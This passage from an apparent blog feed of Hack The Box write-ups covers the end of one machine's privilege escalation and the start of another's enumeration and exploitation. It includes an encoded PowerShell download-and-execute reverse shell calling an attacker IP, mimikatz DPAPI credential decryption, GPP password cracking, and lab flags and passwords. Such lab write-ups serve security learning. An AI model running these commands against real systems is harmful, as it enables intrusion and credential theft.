&lt;p&gt;&lt;strong&gt;Important Note&lt;/strong&gt;: For those used to Linux environments, &lt;code&gt;runas&lt;/code&gt; can be frustrating. Unlike &lt;code&gt;su&lt;/code&gt; or &lt;code&gt;sudo&lt;/code&gt;, it doesn&apos;t let you switch users in the same terminal - it opens a new process in a new window. This means we can&apos;t simply run &lt;code&gt;runas type \users\administrator\desktop\root.txt&lt;/code&gt; and expect to see results in our current session.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Getting Administrator Shell&lt;/h2&gt;
&lt;h3&gt;The Plan&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;We need to replace &lt;code&gt;C:\ZKTeco\ZKAccess3.5\Access.exe&lt;/code&gt; with our payload. However, this proved to be another challenge with multiple failed attempts:&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Meterpreter exe&lt;/strong&gt; → Failed! 💥&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Meterpreter PowerShell&lt;/strong&gt; → Failed! 💥&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Invoke-PowerShellTcp&lt;/strong&gt; &lt;a href=&quot;https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1&quot;&gt;Nishang Shell&lt;/a&gt; → Also failed! 💥&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/fuck-microsoft.gif&quot; alt=&quot;fuck-microsoft.gif&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;The Unicode Encoding Solution&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;After watching &lt;a href=&quot;https://www.youtube.com/watch?v=Rr6Oxrj2IjU&amp;amp;list=PLidcsTyj9JXL4Jv6u9qi8TcUgsNoKKHNn&amp;amp;index=14&quot;&gt;HTB Legend IppSec&apos;s video&lt;/a&gt;, I discovered the issue might be related to &lt;strong&gt;Unicode encoding&lt;/strong&gt; differences.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The solution was to encode the payload using &lt;code&gt;UTF-16LE&lt;/code&gt; and then base64 encode it:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;echo -n &quot;IEX(New-Object Net.WebClient).downloadString(&apos;http://10.10.16.2/Invoke-PowerShellTcp.ps1&apos;)&quot; | iconv --to-code UTF-16LE | base64 -w 0

# Output: SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIALwBJAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwAVABjAHAALgBwAHMAMQAnACkA
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Then crafting the final payload:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIALwBJAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwAVABjAHAALgBwAHMAMQAnACkA
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Final runas command:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;runas /user:ACCESS\Administrator /savecred &quot;powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADIALwBJAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwAVABjAHAALgBwAHMAMQAnACkA&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Administrator Access Achieved!&lt;/h3&gt;
&lt;p&gt;Success! We finally got the Administrator shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522182549.png&quot; alt=&quot;Pasted image 20250522182549.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Root Flag Capture&lt;/h2&gt;
&lt;p&gt;And here&apos;s the coveted root flag:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522182828.png&quot; alt=&quot;Pasted image 20250522182828.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;5170bed5b1b9cef6810de87dc664caa6
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Beyond Root&lt;/h1&gt;
&lt;h2&gt;DPAPI (Windows Data Protection API) Credential Extraction and Decryption Process&lt;/h2&gt;
&lt;h3&gt;🔍 Background&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The technique I&apos;m about to demonstrate is called &lt;strong&gt;DPAPI Credential Extraction and Decryption&lt;/strong&gt; - a Windows post-exploitation privilege escalation method that leverages the &lt;strong&gt;Data Protection API (DPAPI)&lt;/strong&gt; to extract and decrypt sensitive user credentials such as saved passwords or tokens.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Key Points about DPAPI:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DPAPI is used by Windows to securely store secrets like browser credentials, Wi-Fi passwords, and RDP credentials&lt;/li&gt;
&lt;li&gt;It encrypts data using a user-specific &lt;strong&gt;Master Key&lt;/strong&gt; tied to the user&apos;s password and SID&lt;/li&gt;
&lt;li&gt;Master keys are stored under &lt;code&gt;%APPDATA%\Microsoft\Protect\&amp;lt;SID&amp;gt;\&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;The master key itself is encrypted using a key derived from the &lt;strong&gt;user&apos;s logon credentials&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;This enables retrieval of plaintext secrets without needing elevated privileges in scenarios where user credentials are cached&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;What you need for successful decryption:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The encrypted &lt;strong&gt;master key&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;user&apos;s plaintext password&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;SID&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;The encrypted &lt;strong&gt;credentials blob&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Getting Important Files&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Our mission: find the administrator&apos;s plaintext password from the cached credentials.&lt;/li&gt;
&lt;li&gt;I need to copy files from these two locations:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\security\AppData\Roaming\Microsoft\Credentials\S-1-5-21-953262931-566350628-63446256-1001&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;File 1: Master Key (&lt;code&gt;0792c32e-48a5-4fe3-8b43-d93d64590580&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522214334.png&quot; alt=&quot;Pasted image 20250522214334.png&quot; /&gt; &lt;img src=&quot;images/Pasted_image_20250522214637.png&quot; alt=&quot;Pasted image 20250522214637.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Since this file contains non-printable bytes, I need to convert it to base64 for transport:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;certutil -encode 0792c32e-48a5-4fe3-8b43-d93d64590580 output
type output
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522214803.png&quot; alt=&quot;Pasted image 20250522214803.png&quot; /&gt; &lt;img src=&quot;images/Pasted_image_20250522214838.png&quot; alt=&quot;Pasted image 20250522214838.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;File 2: Credentials Blob (&lt;code&gt;51AB168BE4BDB3A603DADE4F8CA81290&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522214535.png&quot; alt=&quot;Pasted image 20250522214535.png&quot; /&gt; &lt;img src=&quot;images/Pasted_image_20250522214901.png&quot; alt=&quot;Pasted image 20250522214901.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Same process - converting to base64:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;certutil -encode 51AB168BE4BDB3A603DADE4F8CA81290 output
type output
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522214945.png&quot; alt=&quot;Pasted image 20250522214945.png&quot; /&gt; &lt;img src=&quot;images/Pasted_image_20250522215107.png&quot; alt=&quot;Pasted image 20250522215107.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Decrypt Master Key&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;For master key decryption, I&apos;ll use &lt;code&gt;mimikatz&lt;/code&gt; on a Windows machine (I&apos;m using Flare VM with Windows Defender disabled):&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;mimikatz # dpapi::masterkey /in:masterkey /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522215709.png&quot; alt=&quot;Pasted image 20250522215709.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full mimikatz output:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;C:\Users\flare\Desktop
λ mimikatz.x64.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  &quot;A La Vie, A L&apos;Amour&quot; - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       &amp;gt; https://blog.gentilkiwi.com/mimikatz
 &apos;## v ##&apos;       Vincent LE TOUX 
  &apos;#####&apos;        &amp;gt; https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # dpapi::masterkey /in:masterkey /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {0792c32e-48a5-4fe3-8b43-d93d64590580}
  dwFlags            : 00000005 - 5
  dwMasterKeyLen     : 000000b0 - 176
  dwBackupKeyLen     : 00000090 - 144
  dwCredHistLen      : 00000014 - 20
  dwDomainKeyLen     : 00000000 - 0
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 9c51ca4d00708c73d4fbff60b95e549e
    rounds           : 000043f8 - 17400
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : e78fb1d989c4ccd7a05285c17fae1c31ad1210f7ada051ae3203536df613e63a0e4647ca9ed51407637d8c1cc2ad16b2306aab56d7d2707b0c77422e7de39eb8bdfcca55044b4a7f853b6f0b3333213b5b0d80c7c1021f6c4ac2f5fa3772adbe50af7fdf07b0e0ea940d70a1245db7df847f615530a93895012a3ad9c7a8c39cc0592d06d714c9ee8fe34ced5062c412

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 4bb6dd9b5b9656d97b78f114796457f4
    rounds           : 000043f8 - 17400
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : 0fe6b3aa5dd3af46bd7a87cbc0161fc41ae13f8714a22bcb5bda86f24d95ad03369a5335159185d0276743d0c1132b35fdaffad247d3c4f5f43260413c28b401ed70e42e0184f9e8c4668abc36eb7327bd2c7374a2381b4cdd4ea7c465deaa755e0f53672473900db8868b428327edaa

[credhist]
  **CREDHIST INFO**
    dwVersion        : 00000003 - 3
    guid             : {009668e5-9305-401b-ba0d-dfa0e11b34d0}



[masterkey] with password: 4Cc3ssC0ntr0ller (normal user)
  key : b360fa5dfea278892070f4d086d47ccf5ae30f7206af0927c33b13957d44f0149a128391c4344a9b7b9c9e2e5351bfaf94a1a715627f27ec9fafb17f9b4af7d2
  sha1: bf6d0654ef999c3ad5b09692944da3c0d0b68afe
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Decrypt Credentials&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Now for the final step - decrypting the stored credentials:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;mimikatz # dpapi::cred /in:credentials
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522220023.png&quot; alt=&quot;Pasted image 20250522220023.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Full credentials decryption output:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;mimikatz # dpapi::cred /in:credentials
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {0792c32e-48a5-4fe3-8b43-d93d64590580}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 0000003a - 58
  szDescription      : Enterprise Credential Data

  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : f5bbbac240bd90d9af7d3c2cfb7f301f1f123ac94d07a3cc012038135fa5a6bc
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : f9642d323fae366a4f7293d02f26e4472adc32b00bac6a061914458dadfd3e52
  dwDataLen          : 00000100 - 256
  pbData             : e73542ff71d08529f9da5ff88edcd5be44d11c9c02c45fdfd9ee5a531628cb0f9e8dc221eb5b4d83a857aff13473131c927527217fe177e08d63a63eb5ce5341576b33332806e062363e58786fb7551aaa2e0676b8e3957f43cf1f11a2ed149c431104e5f93f20364916df25a0168ede23788bd9d71192cdb661c5c5686ed256c8691057fe6fe2a2b1765ba0979ee9140c010210eea81ac00830f74c35a196ac1f46bd69d7a86ca82da15f9bbcf1c40cbbe41d58d4a8924afde97e2a99a6e9f33a297ef2508401c229a451b911e9469ba17d71288dc6c37ee26c65ecc8accd4b5b3c0c2ccfcae6b0a76384a0e27c4edb7a0ecece2afd9889252304db5767bbc3
  dwSignLen          : 00000040 - 64
  pbSign             : 63fcc153bcd60befd074a5098ea0e552f8809562c553985baa8720a828e61e05bd5d1cb8200711551a100ed3b853598b3875ba90b689bc483342fbf671b89c99

Decrypting Credential:
 * volatile cache: GUID:{0792c32e-48a5-4fe3-8b43-d93d64590580};KeyHash:bf6d0654ef999c3ad5b09692944da3c0d0b68afe;Key:available
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000f4 - 244
  credUnk0       : 00002004 - 8196

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 8/22/2018 9:18:49 PM
  unkFlagsOrSize : 00000038 - 56
  Persist        : 00000003 - 3 - enterprise
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:interactive=ACCESS\Administrator
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : ACCESS\Administrator
  CredentialBlob : 55Acc3ssS3cur1ty@megacorp
  Attributes     : 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The Final Prize 🏆&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Administrator Password:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;55Acc3ssS3cur1ty@megacorp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522220431.png&quot; alt=&quot;Pasted image 20250522220431.png&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>HTB Machine Active May 2025</title><link>https://fuwari.vercel.app/posts/htb-machine-active/htb_machine_active/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-machine-active/htb_machine_active/</guid><description>Writeup of HTB Active Machine.</description><pubDate>Wed, 21 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Scanning&lt;/h1&gt;
&lt;h2&gt;Rustscan&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;rustscan -a 10.10.10.100 -b 100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250521153343.png&quot; alt=&quot;Pasted image 20250521153343.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Found a whopping 23 open ports! But who has time to check them all? Let&apos;s focus on the juicy ones.&lt;/li&gt;
&lt;li&gt;Time to be selective and target what actually matters. Quality over quantity, folks!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Let&apos;s hit it with the classic nmap scan:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -T5 -oA nmap/initials 10.10.10.100
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Nmap 7.94SVN scan initiated Wed May 21 15:22:32 2025 as: nmap -sC -sV -T5 -oA nmap/initials 10.10.10.100
Warning: 10.10.10.100 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.100 (10.10.10.100)
Host is up (0.19s latency).
Not shown: 852 closed tcp ports (conn-refused), 132 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-21 09:53:33Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-21T09:54:32
|_  start_date: 2025-05-21T09:50:49
|_clock-skew: 2s
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May 21 15:24:41 2025 -- 1 IP address (1 host up) scanned in 129.89 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Hello Active Directory, my old friend! We&apos;ve got SMB, Kerberos, LDAP... the whole Windows domain party pack!&lt;/li&gt;
&lt;li&gt;Running a specific script on port 445 confirms it&apos;s using SMB v2:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap --script safe -p 445 10.10.10.100 -T5 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-21 16:16 IST
Pre-scan script results:
| targets-asn: 
|_  targets-asn.asn is a mandatory parameter
|_hostmap-robtex: *TEMPORARILY DISABLED* due to changes in Robtex&apos;s API. See https://www.robtex.com/api/
|_http-robtex-shared-ns: *TEMPORARILY DISABLED* due to changes in Robtex&apos;s API. See https://www.robtex.com/api/
Nmap scan report for active.htb (10.10.10.100)
Host is up (0.47s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)

Host script results:
| port-states: 
|   tcp: 
|_    open: 445
| smb-protocols: 
|   dialects: 
|     2:0:2
|_    2:1:0
| smb2-time: 
|   date: 2025-05-21T10:47:09
|_  start_date: 2025-05-21T09:50:49
| smb-mbenum: 
|_  ERROR: Failed to connect to browser service: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
| dns-blacklist: 
|   PROXY
|     tor.dan.me.uk - FAIL
|     dnsbl.tornevall.org - FAIL
|     socks.dnsbl.sorbs.net - FAIL
|     misc.dnsbl.sorbs.net - FAIL
|     http.dnsbl.sorbs.net - FAIL
|   SPAM
|     list.quorum.to - FAIL
|     sbl.spamhaus.org - FAIL
|     l2.apews.org - FAIL
|     all.spamrats.com - FAIL
|     spam.dnsbl.sorbs.net - FAIL
|     dnsbl.inps.de - FAIL
|     bl.spamcop.net - FAIL
|_    bl.nszones.com - FAIL
|_msrpc-enum: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_fcrdns: FAIL (No A record)
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled and required
|_clock-skew: 2s
| unusual-port: 
|_  WARNING: this script depends on Nmap&apos;s service/version detection (-sV)
| smb2-capabilities: 
|   2:0:2: 
|     Distributed File System
|   2:1:0: 
|     Distributed File System
|     Leasing
|_    Multi-credit operations

Post-scan script results:
| reverse-index: 
|_  445/tcp: 10.10.10.100
Nmap done: 1 IP address (1 host up) scanned in 67.15 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Enumeration&lt;/h1&gt;
&lt;h2&gt;SMB Shares Exploration&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;When SMB port is open, it&apos;s like finding an unlocked door. Let&apos;s check what shares are available using &lt;code&gt;smbmap&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;smbmap -H 10.10.10.100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250521154804.png&quot; alt=&quot;Pasted image 20250521154804.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Look at that! We&apos;ve got some readable shares! Time to go treasure hunting.&lt;/li&gt;
&lt;li&gt;Let&apos;s try accessing with &lt;code&gt;smbclient&lt;/code&gt; using a blank password (because security is clearly optional):&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250521160439.png&quot; alt=&quot;Pasted image 20250521160439.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Success! Found an &lt;code&gt;active.htb&lt;/code&gt; directory. Let&apos;s mount this in our file manager and copy it locally:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;smb://10.10.10.100/Replication
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250521162805.png&quot; alt=&quot;Pasted image 20250521162805.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Analyzing Directory from SMB Share&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;After some digital spelunking in the directories (aka clicking around aimlessly), I found credentials gold:
&lt;ul&gt;
&lt;li&gt;Located at: &lt;code&gt;active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Found creds: &lt;code&gt;active.htb\SVC_TGS&lt;/code&gt; : &lt;code&gt;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;This is GPP-encrypted password stored in the GPP XML.&lt;/li&gt;
&lt;li&gt;The encryption is &lt;strong&gt;weak (AES 256, static key)&lt;/strong&gt; — Microsoft published the key, so we can decrypt it easier than making instant noodles.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250521163403.png&quot; alt=&quot;Pasted image 20250521163403.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;
&amp;lt;Groups clsid=&quot;{3125E937-EB16-4b4c-9934-544FC6D24D26}&quot;&amp;gt;

	&amp;lt;User clsid=&quot;{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}&quot; name=&quot;active.htb\SVC_TGS&quot; image=&quot;2&quot; changed=&quot;2018-07-18 20:46:06&quot; uid=&quot;{EF57DA28-5F69-4530-A59E-AAB58578219D}&quot;&amp;gt;
	
		&amp;lt;Properties action=&quot;U&quot; newName=&quot;&quot; fullName=&quot;&quot; description=&quot;&quot; cpassword=&quot;edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ&quot; changeLogon=&quot;0&quot; noChange=&quot;1&quot; neverExpires=&quot;1&quot; acctDisabled=&quot;0&quot; userName=&quot;active.htb\SVC_TGS&quot;/&amp;gt;
		
	&amp;lt;/User&amp;gt;
	
&amp;lt;/Groups&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;Password Decryption&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Time to crack that &quot;encryption&quot; with &lt;code&gt;gpp-decrypt&lt;/code&gt; (which is really just asking nicely for the password):&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install gpp-decrypt
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250521164418.png&quot; alt=&quot;Pasted image 20250521164418.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Decrypted User (SVC_TGS) Password: GPPstillStandingStrong2k18
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Seriously? &quot;GPPstillStandingStrong2k18&quot;? That&apos;s like naming your password &quot;ThisIsDefinitelyNotMyPassword2k18&quot;. Security through obscurity at its finest!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Exploring SMB Shares with User (SVC_TGS) Credentials&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250521164720.png&quot; alt=&quot;Pasted image 20250521164720.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;That &quot;Users&quot; share is looking mighty interesting. Let&apos;s take a peek:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;smbclient //10.10.10.100/Users -U active.htb\\SVC_TGS%GPPstillStandingStrong2k18 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250521165412.png&quot; alt=&quot;Pasted image 20250521165412.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20250521165530.png&quot; alt=&quot;Pasted image 20250521165530.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User Flag captured like a Pokémon:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;28dfe94c068ab577d1ffc5233ae55bbf
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Post Exploitation&lt;/h1&gt;
&lt;h2&gt;Kerberoasting&lt;/h2&gt;
&lt;h3&gt;Background&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kerberos is a protocol for authentication used in Windows Active Directory environments&lt;/strong&gt; (though it can be used for auth to Linux hosts as well).&lt;/li&gt;
&lt;li&gt;In 2014, &lt;strong&gt;Tim Medin presented an attack on Kerberos he called&lt;/strong&gt; &lt;a href=&quot;https://www.redsiege.com/wp-content/uploads/2020/08/Kerberoastv4.pdf&quot;&gt;Kerberoasting&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;It&apos;s like asking for the keys to the kingdom, and then making a copy while nobody&apos;s looking.&lt;/li&gt;
